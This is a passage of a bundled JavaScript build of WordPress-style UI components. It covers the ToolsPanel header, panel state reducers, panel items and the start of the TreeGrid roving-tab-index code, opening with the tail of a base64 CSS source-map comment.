LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */");
48780
48781 // packages/components/build-module/tools-panel/context.mjs
48782 var import_element205 = __toESM(require_element(), 1);
48783 var noop25 = () => void 0;
48784 var ToolsPanelContext = (0, import_element205.createContext)({
48785 menuItems: {
48786 default: {},
48787 optional: {}
48788 },
48789 hasMenuItems: false,
48790 isResetting: false,
48791 shouldRenderPlaceholderItems: false,
48792 registerPanelItem: noop25,
48793 deregisterPanelItem: noop25,
48794 flagItemCustomization: noop25,
48795 registerResetAllFilter: noop25,
48796 deregisterResetAllFilter: noop25,
48797 areAllOptionalControlsHidden: true
48798 });
48799 ToolsPanelContext.displayName = "ToolsPanelContext";
48800 var useToolsPanelContext = () => (0, import_element205.useContext)(ToolsPanelContext);
48801
48802 // packages/components/build-module/tools-panel/tools-panel-header/hook.mjs
48803 function useToolsPanelHeader(props) {
48804 const {
48805 className: className2,
48806 headingLevel = 2,
48807 ...otherProps
48808 } = useContextSystem(props, "ToolsPanelHeader");
48809 const cx3 = useCx();
48810 const classes = (0, import_element206.useMemo)(() => {
48811 return cx3(ToolsPanelHeader, className2);
48812 }, [className2, cx3]);
48813 const dropdownMenuClassName = (0, import_element206.useMemo)(() => {
48814 return cx3(DropdownMenu2);
48815 }, [cx3]);
48816 const headingClassName = (0, import_element206.useMemo)(() => {
48817 return cx3(ToolsPanelHeading);
48818 }, [cx3]);
48819 const defaultControlsItemClassName = (0, import_element206.useMemo)(() => {
48820 return cx3(DefaultControlsItem);
48821 }, [cx3]);
48822 const {
48823 menuItems,
48824 hasMenuItems,
48825 areAllOptionalControlsHidden
48826 } = useToolsPanelContext();
48827 return {
48828 ...otherProps,
48829 areAllOptionalControlsHidden,
48830 defaultControlsItemClassName,
48831 dropdownMenuClassName,
48832 hasMenuItems,
48833 headingClassName,
48834 headingLevel,
48835 menuItems,
48836 className: classes
48837 };
48838 }
48839
48840 // packages/components/build-module/tools-panel/tools-panel-header/component.mjs
48841 var import_jsx_runtime283 = __toESM(require_jsx_runtime(), 1);
48842 var DefaultControlsGroup = ({
48843 itemClassName,
48844 items,
48845 toggleItem
48846 }) => {
48847 if (!items.length) {
48848 return null;
48849 }
48850 const resetSuffix = /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(ResetLabel, {
48851 "aria-hidden": true,
48852 children: (0, import_i18n78.__)("Reset")
48853 });
48854 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_jsx_runtime283.Fragment, {
48855 children: items.map(([label, hasValue]) => {
48856 if (hasValue) {
48857 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(menu_item_default, {
48858 className: itemClassName,
48859 role: "menuitem",
48860 label: (0, import_i18n78.sprintf)(
48861 // translators: %s: The name of the control being reset e.g. "Padding".
48862 (0, import_i18n78.__)("Reset %s"),
48863 label
48864 ),
48865 onClick: () => {
48866 toggleItem(label);
48867 (0, import_a11y11.speak)((0, import_i18n78.sprintf)(
48868 // translators: %s: The name of the control being reset e.g. "Padding".
48869 (0, import_i18n78.__)("%s reset to default"),
48870 label
48871 ), "assertive");
48872 },
48873 suffix: resetSuffix,
48874 children: label
48875 }, label);
48876 }
48877 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(menu_item_default, {
48878 icon: check_default,
48879 className: itemClassName,
48880 role: "menuitemcheckbox",
48881 isSelected: true,
48882 "aria-disabled": true,
48883 children: label
48884 }, label);
48885 })
48886 });
48887 };
48888 var OptionalControlsGroup = ({
48889 items,
48890 toggleItem
48891 }) => {
48892 if (!items.length) {
48893 return null;
48894 }
48895 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_jsx_runtime283.Fragment, {
48896 children: items.map(([label, isSelected2]) => {
48897 const itemLabel = isSelected2 ? (0, import_i18n78.sprintf)(
48898 // translators: %s: The name of the control being hidden and reset e.g. "Padding".
48899 (0, import_i18n78.__)("Hide and reset %s"),
48900 label
48901 ) : (0, import_i18n78.sprintf)(
48902 // translators: %s: The name of the control to display e.g. "Padding".
48903 (0, import_i18n78._x)("Show %s", "input control"),
48904 label
48905 );
48906 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(menu_item_default, {
48907 icon: isSelected2 ? check_default : null,
48908 isSelected: isSelected2,
48909 label: itemLabel,
48910 onClick: () => {
48911 if (isSelected2) {
48912 (0, import_a11y11.speak)((0, import_i18n78.sprintf)(
48913 // translators: %s: The name of the control being reset e.g. "Padding".
48914 (0, import_i18n78.__)("%s hidden and reset to default"),
48915 label
48916 ), "assertive");
48917 } else {
48918 (0, import_a11y11.speak)((0, import_i18n78.sprintf)(
48919 // translators: %s: The name of the control being reset e.g. "Padding".
48920 (0, import_i18n78.__)("%s is now visible"),
48921 label
48922 ), "assertive");
48923 }
48924 toggleItem(label);
48925 },
48926 role: "menuitemcheckbox",
48927 children: label
48928 }, label);
48929 })
48930 });
48931 };
48932 var ToolsPanelHeader2 = (props, forwardedRef) => {
48933 const {
48934 areAllOptionalControlsHidden,
48935 defaultControlsItemClassName,
48936 dropdownMenuClassName,
48937 hasMenuItems,
48938 headingClassName,
48939 headingLevel = 2,
48940 label: labelText,
48941 menuItems,
48942 resetAll,
48943 toggleItem,
48944 dropdownMenuProps,
48945 ...headerProps
48946 } = useToolsPanelHeader(props);
48947 if (!labelText) {
48948 return null;
48949 }
48950 const defaultItems = Object.entries(menuItems?.default || {});
48951 const optionalItems = Object.entries(menuItems?.optional || {});
48952 const dropDownMenuIcon = areAllOptionalControlsHidden ? plus_default : more_vertical_default;
48953 const dropDownMenuLabelText = (0, import_i18n78.sprintf)(
48954 // translators: %s: The name of the tool e.g. "Color" or "Typography".
48955 (0, import_i18n78._x)("%s options", "Button label to reveal tool panel options"),
48956 labelText
48957 );
48958 const dropdownMenuDescriptionText = areAllOptionalControlsHidden ? (0, import_i18n78.__)("All options are currently hidden") : void 0;
48959 const canResetAll = [...defaultItems, ...optionalItems].some(([, isSelected2]) => isSelected2);
48960 return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(component_default9, {
48961 ...headerProps,
48962 ref: forwardedRef,
48963 children: [/* @__PURE__ */ (0, import_jsx_runtime283.jsx)(component_default19, {
48964 level: headingLevel,
48965 className: headingClassName,
48966 children: labelText
48967 }), hasMenuItems && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(dropdown_menu_default, {
48968 ...dropdownMenuProps,
48969 icon: dropDownMenuIcon,
48970 label: dropDownMenuLabelText,
48971 menuProps: {
48972 className: dropdownMenuClassName
48973 },
48974 toggleProps: {
48975 size: "small",
48976 description: dropdownMenuDescriptionText
48977 },
48978 children: () => /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, {
48979 children: [/* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(menu_group_default, {
48980 label: labelText,
48981 children: [/* @__PURE__ */ (0, import_jsx_runtime283.jsx)(DefaultControlsGroup, {
48982 items: defaultItems,
48983 toggleItem,
48984 itemClassName: defaultControlsItemClassName
48985 }), /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(OptionalControlsGroup, {
48986 items: optionalItems,
48987 toggleItem
48988 })]
48989 }), /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(menu_group_default, {
48990 children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(menu_item_default, {
48991 "aria-disabled": !canResetAll,
48992 variant: "tertiary",
48993 onClick: () => {
48994 if (canResetAll) {
48995 resetAll();
48996 (0, import_a11y11.speak)((0, import_i18n78.__)("All options reset"), "assertive");
48997 }
48998 },
48999 children: (0, import_i18n78.__)("Reset all")
49000 })
49001 })]
49002 })
49003 })]
49004 });
49005 };
49006 var ConnectedToolsPanelHeader = contextConnect(ToolsPanelHeader2, "ToolsPanelHeader");
49007 var component_default38 = ConnectedToolsPanelHeader;
49008
49009 // packages/components/build-module/tools-panel/tools-panel/hook.mjs
49010 var import_element207 = __toESM(require_element(), 1);
49011 var DEFAULT_COLUMNS = 2;
49012 function emptyMenuItems() {
49013 return {
49014 default: {},
49015 optional: {}
49016 };
49017 }
49018 function emptyState() {
49019 return {
49020 panelItems: [],
49021 menuItemOrder: [],
49022 menuItems: emptyMenuItems()
49023 };
49024 }
49025 var generateMenuItems = ({
49026 panelItems,
49027 shouldReset,
49028 currentMenuItems,
49029 menuItemOrder
49030 }) => {
49031 const newMenuItems = emptyMenuItems();
49032 const menuItems = emptyMenuItems();
49033 panelItems.forEach(({
49034 hasValue,
49035 isShownByDefault,
49036 label
49037 }) => {
49038 const group = isShownByDefault ? "default" : "optional";
49039 const existingItemValue = currentMenuItems?.[group]?.[label];
49040 const value = existingItemValue ? existingItemValue : hasValue();
49041 newMenuItems[group][label] = shouldReset ? false : value;
49042 });
49043 menuItemOrder.forEach((key) => {
49044 if (newMenuItems.default.hasOwnProperty(key)) {
49045 menuItems.default[key] = newMenuItems.default[key];
49046 }
49047 if (newMenuItems.optional.hasOwnProperty(key)) {
49048 menuItems.optional[key] = newMenuItems.optional[key];
49049 }
49050 });
49051 Object.keys(newMenuItems.default).forEach((key) => {
49052 if (!menuItems.default.hasOwnProperty(key)) {
49053 menuItems.default[key] = newMenuItems.default[key];
49054 }
49055 });
49056 Object.keys(newMenuItems.optional).forEach((key) => {
49057 if (!menuItems.optional.hasOwnProperty(key)) {
49058 menuItems.optional[key] = newMenuItems.optional[key];
49059 }
49060 });
49061 return menuItems;
49062 };
49063 function panelItemsReducer(panelItems, action) {
49064 switch (action.type) {
49065 case "REGISTER_PANEL": {
49066 const newItems = [...panelItems];
49067 const existingIndex = newItems.findIndex((oldItem) => oldItem.label === action.item.label);
49068 if (existingIndex !== -1) {
49069 newItems.splice(existingIndex, 1);
49070 }
49071 newItems.push(action.item);
49072 return newItems;
49073 }
49074 case "UNREGISTER_PANEL": {
49075 const index2 = panelItems.findIndex((item2) => item2.label === action.label);
49076 if (index2 !== -1) {
49077 const newItems = [...panelItems];
49078 newItems.splice(index2, 1);
49079 return newItems;
49080 }
49081 return panelItems;
49082 }
49083 default:
49084 return panelItems;
49085 }
49086 }
49087 function menuItemOrderReducer(menuItemOrder, action) {
49088 switch (action.type) {
49089 case "REGISTER_PANEL": {
49090 if (menuItemOrder.includes(action.item.label)) {
49091 return menuItemOrder;
49092 }
49093 return [...menuItemOrder, action.item.label];
49094 }
49095 default:
49096 return menuItemOrder;
49097 }
49098 }
49099 function menuItemsReducer(state, action) {
49100 switch (action.type) {
49101 case "REGISTER_PANEL":
49102 case "UNREGISTER_PANEL":
49103 return generateMenuItems({
49104 currentMenuItems: state.menuItems,
49105 panelItems: state.panelItems,
49106 menuItemOrder: state.menuItemOrder,
49107 shouldReset: false
49108 });
49109 case "RESET_ALL":
49110 return generateMenuItems({
49111 panelItems: state.panelItems,
49112 menuItemOrder: state.menuItemOrder,
49113 shouldReset: true
49114 });
49115 case "UPDATE_VALUE": {
49116 const oldValue = state.menuItems[action.group][action.label];
49117 if (action.value === oldValue) {
49118 return state.menuItems;
49119 }
49120 return {
49121 ...state.menuItems,
49122 [action.group]: {
49123 ...state.menuItems[action.group],
49124 [action.label]: action.value
49125 }
49126 };
49127 }
49128 case "TOGGLE_VALUE": {
49129 const currentItem = state.panelItems.find((item2) => item2.label === action.label);
49130 if (!currentItem) {
49131 return state.menuItems;
49132 }
49133 const menuGroup = currentItem.isShownByDefault ? "default" : "optional";
49134 const newMenuItems = {
49135 ...state.menuItems,
49136 [menuGroup]: {
49137 ...state.menuItems[menuGroup],
49138 [action.label]: !state.menuItems[menuGroup][action.label]
49139 }
49140 };
49141 return newMenuItems;
49142 }
49143 default:
49144 return state.menuItems;
49145 }
49146 }
49147 function panelReducer(state, action) {
49148 const panelItems = panelItemsReducer(state.panelItems, action);
49149 const menuItemOrder = menuItemOrderReducer(state.menuItemOrder, action);
49150 const menuItems = menuItemsReducer({
49151 panelItems,
49152 menuItemOrder,
49153 menuItems: state.menuItems
49154 }, action);
49155 return {
49156 panelItems,
49157 menuItemOrder,
49158 menuItems
49159 };
49160 }
49161 function resetAllFiltersReducer(filters, action) {
49162 switch (action.type) {
49163 case "REGISTER":
49164 return [...filters, action.filter];
49165 case "UNREGISTER":
49166 return filters.filter((f3) => f3 !== action.filter);
49167 default:
49168 return filters;
49169 }
49170 }
49171 var isMenuItemTypeEmpty = (obj) => Object.keys(obj).length === 0;
49172 function useToolsPanel(props) {
49173 const {
49174 className: className2,
49175 headingLevel = 2,
49176 resetAll,
49177 panelId,
49178 hasInnerWrapper = false,
49179 shouldRenderPlaceholderItems = false,
49180 __experimentalFirstVisibleItemClass,
49181 __experimentalLastVisibleItemClass,
49182 ...otherProps
49183 } = useContextSystem(props, "ToolsPanel");
49184 const isResettingRef = (0, import_element207.useRef)(false);
49185 const wasResetting = isResettingRef.current;
49186 (0, import_element207.useEffect)(() => {
49187 if (wasResetting) {
49188 isResettingRef.current = false;
49189 }
49190 }, [wasResetting]);
49191 const [{
49192 panelItems,
49193 menuItems
49194 }, panelDispatch] = (0, import_element207.useReducer)(panelReducer, void 0, emptyState);
49195 const [resetAllFilters, dispatchResetAllFilters] = (0, import_element207.useReducer)(resetAllFiltersReducer, []);
49196 const registerPanelItem = (0, import_element207.useCallback)((item2) => {
49197 panelDispatch({
49198 type: "REGISTER_PANEL",
49199 item: item2
49200 });
49201 }, []);
49202 const deregisterPanelItem = (0, import_element207.useCallback)((label) => {
49203 panelDispatch({
49204 type: "UNREGISTER_PANEL",
49205 label
49206 });
49207 }, []);
49208 const registerResetAllFilter = (0, import_element207.useCallback)((filter2) => {
49209 dispatchResetAllFilters({
49210 type: "REGISTER",
49211 filter: filter2
49212 });
49213 }, []);
49214 const deregisterResetAllFilter = (0, import_element207.useCallback)((filter2) => {
49215 dispatchResetAllFilters({
49216 type: "UNREGISTER",
49217 filter: filter2
49218 });
49219 }, []);
49220 const flagItemCustomization = (0, import_element207.useCallback)((value, label, group = "default") => {
49221 panelDispatch({
49222 type: "UPDATE_VALUE",
49223 group,
49224 label,
49225 value
49226 });
49227 }, []);
49228 const areAllOptionalControlsHidden = (0, import_element207.useMemo)(() => {
49229 return isMenuItemTypeEmpty(menuItems.default) && !isMenuItemTypeEmpty(menuItems.optional) && Object.values(menuItems.optional).every((isSelected2) => !isSelected2);
49230 }, [menuItems]);
49231 const cx3 = useCx();
49232 const classes = (0, import_element207.useMemo)(() => {
49233 const wrapperStyle = hasInnerWrapper && ToolsPanelWithInnerWrapper(DEFAULT_COLUMNS);
49234 const emptyStyle = areAllOptionalControlsHidden && ToolsPanelHiddenInnerWrapper;
49235 return cx3(ToolsPanel(DEFAULT_COLUMNS), wrapperStyle, emptyStyle, className2);
49236 }, [areAllOptionalControlsHidden, className2, cx3, hasInnerWrapper]);
49237 const toggleItem = (0, import_element207.useCallback)((label) => {
49238 panelDispatch({
49239 type: "TOGGLE_VALUE",
49240 label
49241 });
49242 }, []);
49243 const resetAllItems = (0, import_element207.useCallback)(() => {
49244 if (typeof resetAll === "function") {
49245 isResettingRef.current = true;
49246 resetAll(resetAllFilters);
49247 }
49248 panelDispatch({
49249 type: "RESET_ALL"
49250 });
49251 }, [resetAllFilters, resetAll]);
49252 const getFirstVisibleItemLabel = (items) => {
49253 const optionalItems = menuItems.optional || {};
49254 const firstItem = items.find((item2) => item2.isShownByDefault || optionalItems[item2.label]);
49255 return firstItem?.label;
49256 };
49257 const firstDisplayedItem = getFirstVisibleItemLabel(panelItems);
49258 const lastDisplayedItem = getFirstVisibleItemLabel([...panelItems].reverse());
49259 const hasMenuItems = panelItems.length > 0;
49260 const panelContext = (0, import_element207.useMemo)(() => ({
49261 areAllOptionalControlsHidden,
49262 deregisterPanelItem,
49263 deregisterResetAllFilter,
49264 firstDisplayedItem,
49265 flagItemCustomization,
49266 hasMenuItems,
49267 isResetting: isResettingRef.current,
49268 lastDisplayedItem,
49269 menuItems,
49270 panelId,
49271 registerPanelItem,
49272 registerResetAllFilter,
49273 shouldRenderPlaceholderItems,
49274 __experimentalFirstVisibleItemClass,
49275 __experimentalLastVisibleItemClass
49276 }), [areAllOptionalControlsHidden, deregisterPanelItem, deregisterResetAllFilter, firstDisplayedItem, flagItemCustomization, lastDisplayedItem, menuItems, panelId, hasMenuItems, registerResetAllFilter, registerPanelItem, shouldRenderPlaceholderItems, __experimentalFirstVisibleItemClass, __experimentalLastVisibleItemClass]);
49277 return {
49278 ...otherProps,
49279 headingLevel,
49280 panelContext,
49281 resetAllItems,
49282 toggleItem,
49283 className: classes
49284 };
49285 }
49286
49287 // packages/components/build-module/tools-panel/tools-panel/component.mjs
49288 var import_jsx_runtime284 = __toESM(require_jsx_runtime(), 1);
49289 var UnconnectedToolsPanel = (props, forwardedRef) => {
49290 const {
49291 children,
49292 label,
49293 panelContext,
49294 resetAllItems,
49295 toggleItem,
49296 headingLevel,
49297 dropdownMenuProps,
49298 ...toolsPanelProps
49299 } = useToolsPanel(props);
49300 return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(component_default22, {
49301 ...toolsPanelProps,
49302 columns: 2,
49303 ref: forwardedRef,
49304 children: /* @__PURE__ */ (0, import_jsx_runtime284.jsxs)(ToolsPanelContext.Provider, {
49305 value: panelContext,
49306 children: [/* @__PURE__ */ (0, import_jsx_runtime284.jsx)(component_default38, {
49307 label,
49308 resetAll: resetAllItems,
49309 toggleItem,
49310 headingLevel,
49311 dropdownMenuProps
49312 }), children]
49313 })
49314 });
49315 };
49316 var ToolsPanel2 = contextConnect(UnconnectedToolsPanel, "ToolsPanel");
49317 var component_default39 = ToolsPanel2;
49318
49319 // packages/components/build-module/tools-panel/tools-panel-item/hook.mjs
49320 var import_compose75 = __toESM(require_compose(), 1);
49321 var import_element208 = __toESM(require_element(), 1);
49322 var noop26 = () => {
49323 };
49324 function useToolsPanelItem(props) {
49325 const {
49326 className: className2,
49327 hasValue,
49328 isShownByDefault = false,
49329 label,
49330 panelId,
49331 resetAllFilter = noop26,
49332 onDeselect,
49333 onSelect,
49334 ...otherProps
49335 } = useContextSystem(props, "ToolsPanelItem");
49336 const {
49337 panelId: currentPanelId,
49338 menuItems,
49339 registerResetAllFilter,
49340 deregisterResetAllFilter,
49341 registerPanelItem,
49342 deregisterPanelItem,
49343 flagItemCustomization,
49344 isResetting,
49345 shouldRenderPlaceholderItems: shouldRenderPlaceholder,
49346 firstDisplayedItem,
49347 lastDisplayedItem,
49348 __experimentalFirstVisibleItemClass,
49349 __experimentalLastVisibleItemClass
49350 } = useToolsPanelContext();
49351 const hasValueCallback = (0, import_element208.useCallback)(hasValue, [panelId]);
49352 const resetAllFilterCallback = (0, import_element208.useCallback)(resetAllFilter, [panelId]);
49353 const previousPanelId = (0, import_compose75.usePrevious)(currentPanelId);
49354 const hasMatchingPanel = currentPanelId === panelId || currentPanelId === null;
49355 (0, import_element208.useLayoutEffect)(() => {
49356 if (hasMatchingPanel && previousPanelId !== null) {
49357 registerPanelItem({
49358 hasValue: hasValueCallback,
49359 isShownByDefault,
49360 label,
49361 panelId
49362 });
49363 }
49364 return () => {
49365 if (previousPanelId === null && !!currentPanelId || currentPanelId === panelId) {
49366 deregisterPanelItem(label);
49367 }
49368 };
49369 }, [currentPanelId, hasMatchingPanel, isShownByDefault, label, hasValueCallback, panelId, previousPanelId, registerPanelItem, deregisterPanelItem]);
49370 (0, import_element208.useEffect)(() => {
49371 if (hasMatchingPanel) {
49372 registerResetAllFilter(resetAllFilterCallback);
49373 }
49374 return () => {
49375 if (hasMatchingPanel) {
49376 deregisterResetAllFilter(resetAllFilterCallback);
49377 }
49378 };
49379 }, [registerResetAllFilter, deregisterResetAllFilter, resetAllFilterCallback, hasMatchingPanel]);
49380 const menuGroup = isShownByDefault ? "default" : "optional";
49381 const isMenuItemChecked = menuItems?.[menuGroup]?.[label];
49382 const wasMenuItemChecked = (0, import_compose75.usePrevious)(isMenuItemChecked);
49383 const isRegistered = menuItems?.[menuGroup]?.[label] !== void 0;
49384 const isValueSet = hasValue();
49385 (0, import_element208.useEffect)(() => {
49386 if (!isShownByDefault && !isValueSet) {
49387 return;
49388 }
49389 flagItemCustomization(isValueSet, label, menuGroup);
49390 }, [isValueSet, menuGroup, label, flagItemCustomization, isShownByDefault]);
49391 (0, import_element208.useEffect)(() => {
49392 if (!isRegistered || isResetting || !hasMatchingPanel) {
49393 return;
49394 }
49395 if (isMenuItemChecked && !isValueSet && !wasMenuItemChecked) {
49396 onSelect?.();
49397 }
49398 if (!isMenuItemChecked && isValueSet && wasMenuItemChecked) {
49399 onDeselect?.();
49400 }
49401 }, [hasMatchingPanel, isMenuItemChecked, isRegistered, isResetting, isValueSet, wasMenuItemChecked, onSelect, onDeselect]);
49402 const isShown = isShownByDefault ? menuItems?.[menuGroup]?.[label] !== void 0 : isMenuItemChecked;
49403 const cx3 = useCx();
49404 const classes = (0, import_element208.useMemo)(() => {
49405 const shouldApplyPlaceholderStyles = shouldRenderPlaceholder && !isShown;
49406 const firstItemStyle = firstDisplayedItem === label && __experimentalFirstVisibleItemClass;
49407 const lastItemStyle = lastDisplayedItem === label && __experimentalLastVisibleItemClass;
49408 return cx3(ToolsPanelItem, shouldApplyPlaceholderStyles && ToolsPanelItemPlaceholder, !shouldApplyPlaceholderStyles && className2, firstItemStyle, lastItemStyle);
49409 }, [isShown, shouldRenderPlaceholder, className2, cx3, firstDisplayedItem, lastDisplayedItem, __experimentalFirstVisibleItemClass, __experimentalLastVisibleItemClass, label]);
49410 return {
49411 ...otherProps,
49412 isShown,
49413 shouldRenderPlaceholder,
49414 className: classes
49415 };
49416 }
49417
49418 // packages/components/build-module/tools-panel/tools-panel-item/component.mjs
49419 var import_jsx_runtime285 = __toESM(require_jsx_runtime(), 1);
49420 var UnconnectedToolsPanelItem = (props, forwardedRef) => {
49421 const {
49422 children,
49423 isShown,
49424 shouldRenderPlaceholder,
49425 ...toolsPanelItemProps
49426 } = useToolsPanelItem(props);
49427 if (!isShown) {
49428 return shouldRenderPlaceholder ? /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(component_default, {
49429 ...toolsPanelItemProps,
49430 ref: forwardedRef
49431 }) : null;
49432 }
49433 return /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(component_default, {
49434 ...toolsPanelItemProps,
49435 ref: forwardedRef,
49436 children
49437 });
49438 };
49439 var ToolsPanelItem2 = contextConnect(UnconnectedToolsPanelItem, "ToolsPanelItem");
49440 var component_default40 = ToolsPanelItem2;
49441
49442 // packages/components/build-module/tree-grid/index.mjs
49443 var import_dom33 = __toESM(require_dom(), 1);
49444 var import_element215 = __toESM(require_element(), 1);
49445 var import_keycodes2 = __toESM(require_keycodes(), 1);
49446
49447 // packages/components/build-module/tree-grid/roving-tab-index.mjs
49448 var import_element210 = __toESM(require_element(), 1);
49449
49450 // packages/components/build-module/tree-grid/roving-tab-index-context.mjs
49451 var import_element209 = __toESM(require_element(), 1);
49452 var RovingTabIndexContext = (0, import_element209.createContext)(void 0);
49453 RovingTabIndexContext.displayName = "RovingTabIndexContext";
49454 var useRovingTabIndexContext = () => (0, import_element209.useContext)(RovingTabIndexContext);
49455 var RovingTabIndexProvider = RovingTabIndexContext.Provider;
49456
49457 // packages/components/build-module/tree-grid/roving-tab-index.mjs
49458 var import_jsx_runtime286 = __toESM(require_jsx_runtime(), 1);
49459 function RovingTabIndex({
49460 children
49461 }) {
49462 const [lastFocusedElement, setLastFocusedElement] = (0, import_element210.useState)();
49463 const providerValue = (0, import_element210.useMemo)(() => ({
49464 lastFocusedElement,
49465 setLastFocusedElement
49466 }), [lastFocusedElement]);
49467 return /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(RovingTabIndexProvider, {
49468 value: providerValue,
49469 children
49470 });
49471 }
49472
49473 // packages/components/build-module/tree-grid/index.mjs
49474 var import_jsx_runtime291 = __toESM(require_jsx_runtime(), 1);
49475
49476 // packages/components/build-module/tree-grid/row.mjs
49477 var import_element211 = __toESM(require_element(), 1);
49478 var import_jsx_runtime287 = __toESM(require_jsx_runtime(), 1);
49479 function UnforwardedTreeGridRow({
49480 children,
49481 level,
49482 positionInSet,
49483 setSize,
49484 isExpanded,
49485 ...props
49486 }, ref) {
49487 return /* @__PURE__ */ (0, import_jsx_runtime287.jsx)("tr", {
49488 ...props,
49489 ref,
49490 role: "row",
49491 "aria-level": level,
49492 "aria-posinset": positionInSet,
49493 "aria-setsize": setSize,
49494 "aria-expanded": isExpanded,
49495 children
49496 });
49497 }
49498 var TreeGridRow = (0, import_element211.forwardRef)(UnforwardedTreeGridRow);
49499 TreeGridRow.displayName = "TreeGridRow";
49500 var row_default2 = TreeGridRow;
49501
49502 // packages/components/build-module/tree-grid/cell.mjs
49503 var import_element214 = __toESM(require_element(), 1);
49504
49505 // packages/components/build-module/tree-grid/item.mjs
49506 var import_element213 = __toESM(require_element(), 1);
49507
49508 // packages/components/build-module/tree-grid/roving-tab-index-item.mjs
49509 var import_element212 = __toESM(require_element(), 1);
49510 var import_jsx_runtime288 = __toESM(require_jsx_runtime(), 1);
49511 var RovingTabIndexItem = (0, import_element212.forwardRef)(function UnforwardedRovingTabIndexItem({
49512 children,
49513 as: Component9,
49514 ...props
49515 }, forwardedRef) {
49516 const localRef = (0, import_element212.useRef)(null);
49517 const ref = forwardedRef || localRef;
49518 const {
49519 lastFocusedElement,
49520 setLastFocusedElement
49521 } = useRovingTabIndexContext();
49522 let tabIndex;
49523 if (lastFocusedElement) {
49524 tabIndex = lastFocusedElement === // TODO: The original implementation simply used `ref.current` here, assuming
49525 // that a forwarded ref would always be an object, which is not necessarily true.
49526 // This workaround maintains the original runtime behavior in a type-safe way,
49527 // but should be revisited.
49528 ("current" in ref ? ref.current : void 0) ? 0 : -1;
49529 }
49530 const onFocus = (event) => setLastFocusedElement?.(event.target);
49531 const allProps = {
49532 ref,
49533 tabIndex,
49534 onFocus,
49535 ...props
49536 };
49537 if (typeof children === "function") {
49538 return children(allProps);
49539 }
49540 if (!Component9) {
49541 return null;
49542 }
49543 return /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(Component9, {
49544 ...allProps,
49545 children
49546 });
49547 });
49548 RovingTabIndexItem.displayName = "RovingTabIndexItem";
49549 var roving_tab_index_item_default = RovingTabIndexItem;
49550
49551 // packages/components/build-module/tree-grid/item.mjs
49552 var import_jsx_runtime289 = __toESM(require_jsx_runtime(), 1);
49553 function UnforwardedTreeGridItem({
49554 children,
49555 ...props
